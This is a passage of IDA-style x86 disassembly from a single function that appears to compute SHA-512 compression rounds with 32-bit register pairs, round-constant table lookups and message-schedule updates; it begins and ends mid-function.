mov [esp+170h+var_138], eax
adc [esp+170h+var_154], ecx
mov ecx, [esp+170h+var_130]
mov eax, [esp+170h+var_12C]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
mov ebp, eax
shld ebp, ecx, 1Eh
xor edi, edi
or edi, edx
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shr edx, 2
shl ecx, 1Eh
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ebx, [esp+170h+var_130]
xor edx, edx
mov ebp, eax
shld ebp, ebx, 19h
or edx, ebp
mov ebp, [esp+170h+var_124]
shl ebx, 19h
xor esi, edx
mov edx, [esp+170h+var_128]
mov ecx, eax
shr ecx, 7
or ecx, ebx
xor edi, ecx
mov ecx, [esp+170h+var_130]
mov ebx, edx
xor ebx, ecx
and ebx, [esp+170h+var_120]
and edx, ecx
mov ecx, [esp+170h+var_124]
xor ebp, eax
and ebp, [esp+170h+var_11C]
and ecx, eax
xor ebx, edx
xor ebp, ecx
add edi, ebx
adc esi, ebp
add [esp+170h+var_138], edi
adc [esp+170h+var_134], esi
cmp [esp+170h+var_15C], 0
jz loc_414F30
mov eax, [esp+170h+var_D0]
mov ecx, [esp+170h+var_CC]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 8
mov ebp, eax
shrd ebp, ecx, 1
xor esi, esi
or esi, edi
shr ecx, 1
mov edi, eax
mov edx, eax
shr ebx, 8
shl edi, 1Fh
or edi, ecx
mov ecx, [esp+170h+var_CC]
shrd eax, ecx, 7
shl edx, 18h
or edx, ebx
xor ebx, ebx
or ebx, ebp
xor esi, ebx
xor esi, eax
mov eax, [esp+170h+var_108]
xor edx, edi
shr ecx, 7
xor edx, ecx
mov ecx, [esp+170h+var_104]
mov ebx, eax
mov ebp, ecx
shrd ebx, ebp, 13h
xor edi, edi
or edi, ebx
mov ebx, ecx
mov [esp+170h+var_160], esi
mov esi, eax
shld ecx, eax, 3
add eax, eax
add eax, eax
shl esi, 0Dh
shr ebp, 13h
or esi, ebp
add eax, eax
shr ebx, 1Dh
or ebx, eax
mov eax, [esp+170h+var_108]
xor ebp, ebp
or ebp, ecx
mov ecx, [esp+170h+var_104]
shrd eax, ecx, 6
shr ecx, 6
xor esi, ebp
xor edi, ebx
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_C0]
adc edx, [esp+170h+var_BC]
add ecx, [esp+170h+var_A8]
adc edx, [esp+170h+var_A4]
mov [eax+70h], ecx
mov [eax+74h], edx
mov eax, edx
mov [esp+170h+var_A8], ecx
mov [esp+170h+var_A4], eax
mov [esp+170h+var_88], ecx
jmp short loc_414F45
; ---------------------------------------------------------------------------
loc_414F30: ; CODE XREF: sub_4143D0+A75j
mov edx, [esp+170h+var_A8]
mov eax, [esp+170h+var_A4]
mov [esp+170h+var_88], edx
loc_414F45: ; CODE XREF: sub_4143D0+B5Ej
mov ecx, [esp+170h+var_154]
mov [esp+170h+var_84], eax
mov eax, [esp+170h+var_158]
mov ebx, ecx
xor esi, esi
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
mov edx, ecx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
xor ebx, ebx
or ebx, ebp
mov ebp, [esp+170h+var_154]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
mov ecx, eax
shl ecx, 12h
shr ebp, 0Eh
or ecx, ebp
mov ebp, [esp+170h+var_150]
xor esi, ecx
mov ecx, [esp+170h+var_154]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_14C]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_13C]
not edi
and edi, [esp+170h+var_148]
not ebx
and ebx, [esp+170h+var_144]
xor edi, ebp
xor ebx, eax
mov eax, [esp+170h+var_15C]
add edx, edi
adc esi, ebx
add edx, ds:dword_41F970[eax*8]
mov edi, [esp+170h+var_12C]
adc esi, ds:dword_41F974[eax*8]
add edx, [esp+170h+var_88]
mov eax, [esp+170h+var_140]
adc esi, [esp+170h+var_84]
add eax, edx
adc ecx, esi
add [esp+170h+var_120], eax
mov esi, [esp+170h+var_130]
mov [esp+170h+var_140], eax
adc [esp+170h+var_11C], ecx
mov [esp+170h+var_13C], ecx
mov ecx, [esp+170h+var_138]
mov eax, esi
xor eax, ecx
mov [esp+170h+var_98], eax
mov eax, [esp+170h+var_134]
mov edx, edi
xor edx, eax
mov [esp+170h+var_94], edx
mov edx, esi
and edx, ecx
mov [esp+170h+var_90], edx
mov edx, edi
and edx, eax
mov [esp+170h+var_8C], edx
mov edx, ecx
xor esi, esi
shl edx, 4
mov edi, ecx
mov ebx, eax
shrd edi, ebx, 1Ch
shr ebx, 1Ch
or edx, ebx
or esi, edi
mov ebp, eax
shld ebp, ecx, 1Eh
xor ebx, ebx
shl ecx, 1Eh
or ebx, ebp
mov edi, eax
xor edx, ebx
mov ebx, [esp+170h+var_138]
shr edi, 2
or edi, ecx
mov ecx, eax
shld eax, ebx, 19h
xor esi, edi
shr ecx, 7
xor edi, edi
or edi, eax
mov eax, [esp+170h+var_98]
and eax, [esp+170h+var_128]
shl ebx, 19h
xor eax, [esp+170h+var_90]
or ecx, ebx
xor esi, ecx
mov ecx, [esp+170h+var_94]
and ecx, [esp+170h+var_124]
xor edx, edi
xor ecx, [esp+170h+var_8C]
add esi, eax
adc edx, ecx
add [esp+170h+var_140], esi
adc [esp+170h+var_13C], edx
cmp [esp+170h+var_15C], 0
jz loc_4151B2
mov eax, [esp+170h+var_B8]
mov ecx, [esp+170h+var_B4]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 13h
xor esi, esi
or esi, edi
mov edi, ecx
shr ebx, 13h
mov edx, eax
mov ebp, eax
shld ecx, ebp, 3
shl edx, 0Dh
or edx, ebx
xor ebx, ebx
or ebx, ecx
mov ecx, [esp+170h+var_B4]
shrd eax, ecx, 6
add ebp, ebp
add ebp, ebp
add ebp, ebp
shr edi, 1Dh
or edi, ebp
xor esi, edi
xor esi, eax
mov eax, [esp+170h+var_D8]
xor edx, ebx
shr ecx, 6
xor edx, ecx
mov ecx, [esp+170h+var_D4]
mov ebp, ecx
mov ebx, eax
shrd ebx, ebp, 8
xor edi, edi
or edi, ebx
mov [esp+170h+var_160], esi
mov esi, eax
mov ebx, eax
shrd eax, ecx, 1
shl esi, 18h
shr ebp, 8
or esi, ebp
shr ecx, 1
xor ebp, ebp
or ebp, eax
mov eax, [esp+170h+var_D8]
shl ebx, 1Fh
or ebx, ecx
mov ecx, [esp+170h+var_D4]
shrd eax, ecx, 7
shr ecx, 7
xor esi, ebx
xor edi, ebp
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_D0]
adc edx, [esp+170h+var_CC]
add ecx, [esp+170h+var_A0]
adc edx, [esp+170h+var_9C]
mov [eax+78h], ecx
mov [eax+7Ch], edx
mov eax, edx
mov [esp+170h+var_D0], ecx
mov [esp+170h+var_CC], eax
mov [esp+170h+var_60], ecx
jmp short loc_4151C7
; ---------------------------------------------------------------------------
loc_4151B2: ; CODE XREF: sub_4143D0+CEBj
mov edx, [esp+170h+var_D0]
mov eax, [esp+170h+var_CC]
mov [esp+170h+var_60], edx
loc_4151C7: ; CODE XREF: sub_4143D0+DE0j
mov ecx, [esp+170h+var_11C]
mov ebx, ecx
mov [esp+170h+var_5C], eax
mov eax, [esp+170h+var_120]
xor esi, esi
mov edx, ecx
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
xor ebx, ebx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_11C]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
shr ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
mov ecx, eax
shl ecx, 12h
or ecx, ebp
mov ebp, [esp+170h+var_158]
xor esi, ecx
mov ecx, [esp+170h+var_11C]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_154]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_148]
not ebx
and ebx, [esp+170h+var_14C]
not edi
and edi, [esp+170h+var_150]
xor ebx, eax
mov eax, [esp+170h+var_15C]
xor edi, ebp
add edx, edi
adc esi, ebx
add edx, ds:dword_41F978[eax*8]
adc esi, ds:dword_41F97C[eax*8]
add edx, [esp+170h+var_60]
mov eax, [esp+170h+var_128]
adc esi, [esp+170h+var_5C]
add ecx, edx
mov edx, [esp+170h+var_144]
adc edx, esi
add eax, ecx
adc [esp+170h+var_124], edx
mov [esp+170h+var_148], ecx
mov ecx, [esp+170h+var_140]
mov [esp+170h+var_144], edx
mov edx, [esp+170h+var_13C]
mov ebx, ecx
mov ebp, edx
shrd ebx, ebp, 1Ch
xor edi, edi
or edi, ebx
mov esi, ecx
mov ebx, edx
shld edx, ecx, 1Eh
shr ebp, 1Ch
shl esi, 4
or esi, ebp
shr ebx, 2
shl ecx, 1Eh
xor ebp, ebp
or ebx, ecx
mov [esp+170h+var_128], eax
or ebp, edx
mov ecx, [esp+170h+var_13C]
xor esi, ebp
mov ebp, [esp+170h+var_140]
mov edx, ecx
shld ecx, ebp, 19h
xor edi, ebx
shr edx, 7
xor ebx, ebx
or ebx, ecx
mov ecx, [esp+170h+var_98]
and ecx, [esp+170h+var_140]
shl ebp, 19h
xor ecx, [esp+170h+var_90]
or edx, ebp
xor edi, edx
mov edx, [esp+170h+var_94]
and edx, [esp+170h+var_13C]
xor esi, ebx
xor edx, [esp+170h+var_8C]
add edi, ecx
adc esi, edx
add [esp+170h+var_148], edi
adc [esp+170h+var_144], esi
cmp [esp+170h+var_15C], 0
jz loc_41540D
mov eax, [esp+170h+var_A8]
mov ecx, [esp+170h+var_A4]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 13h
xor esi, esi
or esi, edi
mov edi, ecx
shr ebx, 13h
mov edx, eax
mov ebp, eax
shld ecx, ebp, 3
shl edx, 0Dh
or edx, ebx
xor ebx, ebx
or ebx, ecx
mov ecx, [esp+170h+var_A4]
shrd eax, ecx, 6
add ebp, ebp
add ebp, ebp
add ebp, ebp
shr edi, 1Dh
or edi, ebp
xor esi, edi
xor esi, eax
mov eax, [esp+170h+var_118]
xor edx, ebx
shr ecx, 6
xor edx, ecx
mov ecx, [esp+170h+var_114]
mov ebp, ecx
mov ebx, eax
shrd ebx, ebp, 8
xor edi, edi
or edi, ebx
mov [esp+170h+var_160], esi
mov esi, eax
mov ebx, eax
shrd eax, ecx, 1
shl esi, 18h
shr ebp, 8
or esi, ebp
shr ecx, 1
xor ebp, ebp
or ebp, eax
mov eax, [esp+170h+var_118]
shl ebx, 1Fh
or ebx, ecx
mov ecx, [esp+170h+var_114]
shrd eax, ecx, 7
shr ecx, 7
xor esi, ebx
xor edi, ebp
xor edi, eax
mov eax, [esp+170h+arg_0]
xor esi, ecx
mov ecx, [esp+170h+var_160]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_D8]
adc edx, [esp+170h+var_D4]
add ecx, [esp+170h+var_E0]
adc edx, [esp+170h+var_DC]
mov [eax+80h], ecx
mov [eax+84h], edx
mov eax, edx
mov [esp+170h+var_D4], eax
mov [esp+170h+var_14], eax
mov eax, [esp+170h+var_128]
mov [esp+170h+var_D8], ecx
mov [esp+170h+var_18], ecx
jmp short loc_415429
; ---------------------------------------------------------------------------
loc_41540D: ; CODE XREF: sub_4143D0+F41j
mov edx, [esp+170h+var_D8]
mov ecx, [esp+170h+var_D4]
mov [esp+170h+var_18], edx
mov [esp+170h+var_14], ecx
loc_415429: ; CODE XREF: sub_4143D0+103Bj
mov ecx, [esp+170h+var_124]
mov ebx, ecx
xor esi, esi
mov edx, ecx
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
xor ebx, ebx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_124]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
mov ebp, [esp+170h+var_120]
xor esi, ecx
mov ecx, [esp+170h+var_124]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_11C]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_14C]
not ebx
and ebx, [esp+170h+var_154]
not edi
and edi, [esp+170h+var_158]
xor ebx, eax
mov eax, [esp+170h+var_15C]
xor edi, ebp
add edx, edi
adc esi, ebx
add edx, ds:dword_41F980[eax*8]
adc esi, ds:dword_41F984[eax*8]
add edx, [esp+170h+var_18]
mov eax, [esp+170h+var_150]
adc esi, [esp+170h+var_14]
add eax, edx
adc ecx, esi
add [esp+170h+var_130], eax
mov [esp+170h+var_14C], ecx
mov [esp+170h+var_150], eax
adc [esp+170h+var_12C], ecx
mov eax, [esp+170h+var_144]
mov ecx, [esp+170h+var_148]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
xor edi, edi
or edi, edx
mov ebp, eax
shld ebp, ecx, 1Eh
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shl ecx, 1Eh
shr edx, 2
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ecx, eax
mov ebx, [esp+170h+var_148]
mov ebp, eax
shld ebp, ebx, 19h
xor edx, edx
or edx, ebp
mov ebp, [esp+170h+var_13C]
xor ebp, [esp+170h+var_134]
shl ebx, 19h
shr ecx, 7
or ecx, ebx
xor esi, edx
mov edx, [esp+170h+var_140]
xor edi, ecx
mov ecx, [esp+170h+var_138]
and ebp, eax
mov eax, [esp+170h+var_13C]
and eax, [esp+170h+var_134]
mov ebx, edx
xor ebx, ecx
and ebx, [esp+170h+var_148]
and edx, ecx
xor ebx, edx
xor ebp, eax
add edi, ebx
adc esi, ebp
add [esp+170h+var_150], edi
adc [esp+170h+var_14C], esi
cmp [esp+170h+var_15C], 0
jz loc_415651
mov eax, [esp+170h+var_C8]
mov ecx, [esp+170h+var_C4]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 8
mov ebp, eax
shrd ebp, ecx, 1
xor esi, esi
or esi, edi
shr ecx, 1
mov edi, eax
mov edx, eax
shr ebx, 8
shl edi, 1Fh
or edi, ecx
mov ecx, [esp+170h+var_C4]
shrd eax, ecx, 7
shl edx, 18h
or edx, ebx
xor ebx, ebx
or ebx, ebp
xor esi, ebx
xor esi, eax
mov eax, [esp+170h+var_D0]
xor edx, edi
shr ecx, 7
xor edx, ecx
mov ecx, [esp+170h+var_CC]
mov ebx, eax
mov ebp, ecx
shrd ebx, ebp, 13h
xor edi, edi
or edi, ebx
mov ebx, ecx
mov [esp+170h+var_160], esi
mov esi, eax
shld ecx, eax, 3
add eax, eax
add eax, eax
shl esi, 0Dh
shr ebp, 13h
or esi, ebp
add eax, eax
shr ebx, 1Dh
or ebx, eax
mov eax, [esp+170h+var_D0]
xor ebp, ebp
or ebp, ecx
mov ecx, [esp+170h+var_CC]
shrd eax, ecx, 6
shr ecx, 6
xor esi, ebp
xor edi, ebx
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_118]
adc edx, [esp+170h+var_114]
add ecx, [esp+170h+var_100]
adc edx, [esp+170h+var_FC]
mov [eax+88h], ecx
mov [eax+8Ch], edx
mov eax, edx
mov [esp+170h+var_118], ecx
mov [esp+170h+var_114], eax
mov [esp+170h+var_48], ecx
jmp short loc_415660
; ---------------------------------------------------------------------------
loc_415651: ; CODE XREF: sub_4143D0+1196j
mov edx, [esp+170h+var_118]
mov eax, [esp+170h+var_114]
mov [esp+170h+var_48], edx
loc_415660: ; CODE XREF: sub_4143D0+127Fj
mov ecx, [esp+170h+var_12C]
mov ebx, ecx
mov [esp+170h+var_44], eax
mov eax, [esp+170h+var_130]
xor esi, esi
mov edx, ecx
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
xor ebx, ebx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_12C]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
mov ebp, [esp+170h+var_128]
xor esi, ecx
mov ecx, [esp+170h+var_12C]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_124]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_154]
not ebx
and ebx, [esp+170h+var_11C]
not edi
and edi, [esp+170h+var_120]
xor ebx, eax
mov eax, [esp+170h+var_15C]
xor edi, ebp
add edx, edi
adc esi, ebx
add edx, ds:dword_41F988[eax*8]
adc esi, ds:dword_41F98C[eax*8]
add edx, [esp+170h+var_48]
mov eax, [esp+170h+var_158]
adc esi, [esp+170h+var_44]
add eax, edx
adc ecx, esi
add [esp+170h+var_138], eax
mov [esp+170h+var_154], ecx
mov [esp+170h+var_158], eax
adc [esp+170h+var_134], ecx
mov ecx, [esp+170h+var_150]
mov eax, [esp+170h+var_14C]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
mov ebp, eax
shld ebp, ecx, 1Eh
xor edi, edi
or edi, edx
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shr edx, 2
shl ecx, 1Eh
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ebx, [esp+170h+var_150]
mov ebp, eax
shld ebp, ebx, 19h
shl ebx, 19h
mov ecx, eax
shr ecx, 7
or ecx, ebx
xor edx, edx
or edx, ebp
xor edi, ecx
mov ecx, [esp+170h+var_150]
xor esi, edx
mov edx, [esp+170h+var_140]
mov ebx, ecx
xor ebx, edx
and ebx, [esp+170h+var_148]
mov ebp, eax
xor ebp, [esp+170h+var_13C]
and eax, [esp+170h+var_13C]
and ebp, [esp+170h+var_144]
and ecx, edx
xor ebx, ecx
xor ebp, eax
add edi, ebx
adc esi, ebp
add [esp+170h+var_158], edi
adc [esp+170h+var_154], esi
cmp [esp+170h+var_15C], 0
jz loc_41589B
mov eax, [esp+170h+var_D8]
mov ecx, [esp+170h+var_D4]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 13h
xor esi, esi
or esi, edi
mov edi, ecx
shr ebx, 13h
mov edx, eax
mov ebp, eax
shld ecx, ebp, 3
shl edx, 0Dh
or edx, ebx
xor ebx, ebx
or ebx, ecx
mov ecx, [esp+170h+var_D4]
shrd eax, ecx, 6
add ebp, ebp
add ebp, ebp
add ebp, ebp
shr edi, 1Dh
or edi, ebp
xor esi, edi
xor esi, eax
mov eax, [esp+170h+var_F0]
xor edx, ebx
shr ecx, 6
xor edx, ecx
mov ecx, [esp+170h+var_EC]
mov ebp, ecx
mov ebx, eax
shrd ebx, ebp, 8
xor edi, edi
or edi, ebx
mov [esp+170h+var_160], esi
mov esi, eax
mov ebx, eax
shrd eax, ecx, 1
shl esi, 18h
shr ebp, 8
or esi, ebp
shr ecx, 1
xor ebp, ebp
or ebp, eax
mov eax, [esp+170h+var_F0]
shl ebx, 1Fh
or ebx, ecx
mov ecx, [esp+170h+var_EC]
shrd eax, ecx, 7
shr ecx, 7
xor esi, ebx
xor edi, ebp
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_C8]
adc edx, [esp+170h+var_C4]
add ecx, [esp+170h+var_110]
adc edx, [esp+170h+var_10C]
mov [eax+90h], ecx
mov [eax+94h], edx
mov eax, edx
mov [esp+170h+var_C8], ecx
mov [esp+170h+var_C4], eax
mov [esp+170h+var_80], ecx
jmp short loc_4158B0
; ---------------------------------------------------------------------------
loc_41589B: ; CODE XREF: sub_4143D0+13D4j
mov edx, [esp+170h+var_C8]
mov eax, [esp+170h+var_C4]
mov [esp+170h+var_80], edx
loc_4158B0: ; CODE XREF: sub_4143D0+14C9j
mov ecx, [esp+170h+var_134]
mov ebx, ecx
mov [esp+170h+var_7C], eax
mov eax, [esp+170h+var_138]
xor esi, esi
mov edx, ecx
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
xor ebx, ebx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_134]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
mov ebp, [esp+170h+var_130]
xor esi, ecx
mov ecx, [esp+170h+var_134]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_12C]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_11C]
not ebx
and ebx, [esp+170h+var_124]
not edi
and edi, [esp+170h+var_128]
xor ebx, eax
mov eax, [esp+170h+var_15C]
xor edi, ebp
add edx, edi
adc esi, ebx
add edx, ds:dword_41F990[eax*8]
adc esi, ds:dword_41F994[eax*8]
add edx, [esp+170h+var_80]
mov eax, [esp+170h+var_120]
adc esi, [esp+170h+var_7C]
add eax, edx
adc ecx, esi
add [esp+170h+var_140], eax
mov [esp+170h+var_11C], ecx
mov [esp+170h+var_120], eax
adc [esp+170h+var_13C], ecx
mov ecx, [esp+170h+var_158]
mov eax, [esp+170h+var_154]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
mov ebp, eax
shld ebp, ecx, 1Eh
xor edi, edi
or edi, edx
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shr edx, 2
shl ecx, 1Eh
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ebx, [esp+170h+var_158]
xor edx, edx
mov ebp, eax
shld ebp, ebx, 19h
or edx, ebp
mov ebp, [esp+170h+var_14C]
shl ebx, 19h
xor esi, edx
mov edx, [esp+170h+var_150]
mov ecx, eax
shr ecx, 7
or ecx, ebx
xor edi, ecx
mov ecx, [esp+170h+var_158]
mov ebx, edx
xor ebx, ecx
and ebx, [esp+170h+var_148]
and edx, ecx
mov ecx, [esp+170h+var_14C]
xor ebp, eax
and ebp, [esp+170h+var_144]
and ecx, eax
xor ebx, edx
xor ebp, ecx
add edi, ebx
adc esi, ebp
add [esp+170h+var_120], edi
adc [esp+170h+var_11C], esi
cmp [esp+170h+var_15C], 0
jz loc_415AE1
mov eax, [esp+170h+var_E8]
mov ecx, [esp+170h+var_E4]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 8
mov ebp, eax
shrd ebp, ecx, 1
xor esi, esi
or esi, edi
shr ecx, 1
mov edi, eax
mov edx, eax
shr ebx, 8
shl edi, 1Fh
or edi, ecx
mov ecx, [esp+170h+var_E4]
shrd eax, ecx, 7
shl edx, 18h
or edx, ebx
xor ebx, ebx
or ebx, ebp
xor esi, ebx
xor esi, eax
mov eax, [esp+170h+var_118]
xor edx, edi
shr ecx, 7
xor edx, ecx
mov ecx, [esp+170h+var_114]
mov ebx, eax
mov ebp, ecx
shrd ebx, ebp, 13h
xor edi, edi
or edi, ebx
mov ebx, ecx
mov [esp+170h+var_160], esi
mov esi, eax
shld ecx, eax, 3
add eax, eax
add eax, eax
shl esi, 0Dh
shr ebp, 13h
or esi, ebp
add eax, eax
shr ebx, 1Dh
or ebx, eax
mov eax, [esp+170h+var_118]
xor ebp, ebp
or ebp, ecx
mov ecx, [esp+170h+var_114]
shrd eax, ecx, 6
shr ecx, 6
xor esi, ebp
xor edi, ebx
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_108]
adc edx, [esp+170h+var_104]
add ecx, [esp+170h+var_F0]
adc edx, [esp+170h+var_EC]
mov [eax+98h], ecx
mov [eax+9Ch], edx
mov eax, edx
mov [esp+170h+var_F0], ecx
mov [esp+170h+var_EC], eax
mov [esp+170h+var_78], ecx
jmp short loc_415AF6
; ---------------------------------------------------------------------------
loc_415AE1: ; CODE XREF: sub_4143D0+1626j
mov edx, [esp+170h+var_F0]
mov eax, [esp+170h+var_EC]
mov [esp+170h+var_78], edx
loc_415AF6: ; CODE XREF: sub_4143D0+170Fj
mov ecx, [esp+170h+var_13C]
mov ebx, ecx
mov [esp+170h+var_74], eax
mov eax, [esp+170h+var_140]
mov edx, ecx
xor esi, esi
shr edx, 9
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
or edx, edi
xor ebx, ebx
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_13C]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
xor edi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
xor esi, ecx
mov ecx, [esp+170h+var_13C]
mov ebx, ecx
and ecx, [esp+170h+var_134]
mov edi, eax
and eax, [esp+170h+var_138]
not ebx
and ebx, [esp+170h+var_12C]
not edi
and edi, [esp+170h+var_130]
xor ebx, ecx
mov ecx, [esp+170h+var_124]
xor edi, eax
mov eax, [esp+170h+var_15C]
add edx, edi
adc esi, ebx
add edx, ds:dword_41F998[eax*8]
adc esi, ds:dword_41F99C[eax*8]
add edx, [esp+170h+var_78]
mov eax, [esp+170h+var_128]
adc esi, [esp+170h+var_74]
add eax, edx
adc ecx, esi
add [esp+170h+var_148], eax
mov [esp+170h+var_124], ecx
mov [esp+170h+var_128], eax
adc [esp+170h+var_144], ecx
mov eax, [esp+170h+var_11C]
mov ecx, [esp+170h+var_120]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
xor edi, edi
or edi, edx
mov ebp, eax
shld ebp, ecx, 1Eh
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shl ecx, 1Eh
shr edx, 2
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ecx, eax
mov ebx, [esp+170h+var_120]
xor edx, edx
mov ebp, eax
shld ebp, ebx, 19h
or edx, ebp
mov ebp, [esp+170h+var_154]
shl ebx, 19h
shr ecx, 7
or ecx, ebx
xor esi, edx
mov edx, [esp+170h+var_158]
xor edi, ecx
mov ecx, [esp+170h+var_120]
mov ebx, edx
xor ebx, ecx
and ebx, [esp+170h+var_150]
and edx, ecx
mov ecx, [esp+170h+var_154]
xor ebp, eax
and ebp, [esp+170h+var_14C]
and ecx, eax
xor ebx, edx
xor ebp, ecx
add edi, ebx
adc esi, ebp
add [esp+170h+var_128], edi
adc [esp+170h+var_124], esi
cmp [esp+170h+var_15C], 0
jz loc_415D29
mov eax, [esp+170h+var_C8]
mov ecx, [esp+170h+var_C4]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 13h
xor esi, esi
or esi, edi
mov edi, ecx
shr ebx, 13h
mov edx, eax
mov ebp, eax
shld ecx, ebp, 3
shl edx, 0Dh
or edx, ebx
xor ebx, ebx
or ebx, ecx
mov ecx, [esp+170h+var_C4]
shrd eax, ecx, 6
add ebp, ebp
add ebp, ebp
add ebp, ebp
shr edi, 1Dh
or edi, ebp
xor esi, edi
xor esi, eax
mov eax, [esp+170h+var_F8]
xor edx, ebx
shr ecx, 6
xor edx, ecx
mov ecx, [esp+170h+var_F4]
mov ebp, ecx
mov ebx, eax
shrd ebx, ebp, 8
xor edi, edi
or edi, ebx
mov [esp+170h+var_160], esi
mov esi, eax
mov ebx, eax
shrd eax, ecx, 1
shl esi, 18h
shr ebp, 8
or esi, ebp
shr ecx, 1
xor ebp, ebp
or ebp, eax
mov eax, [esp+170h+var_F8]
shl ebx, 1Fh
or ebx, ecx
mov ecx, [esp+170h+var_F4]
shrd eax, ecx, 7
shr ecx, 7
xor esi, ebx
xor edi, ebp
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_B8]
adc edx, [esp+170h+var_B4]
add ecx, [esp+170h+var_E8]
adc edx, [esp+170h+var_E4]
mov [eax+0A0h], ecx
mov [eax+0A4h], edx
mov eax, edx
mov [esp+170h+var_E8], ecx
mov [esp+170h+var_E4], eax
mov [esp+170h+var_68], ecx
jmp short loc_415D3E
; ---------------------------------------------------------------------------
loc_415D29: ; CODE XREF: sub_4143D0+1868j
mov edx, [esp+170h+var_E8]
mov eax, [esp+170h+var_E4]
mov [esp+170h+var_68], edx
loc_415D3E: ; CODE XREF: sub_4143D0+1957j
mov ecx, [esp+170h+var_144]
mov ebx, ecx
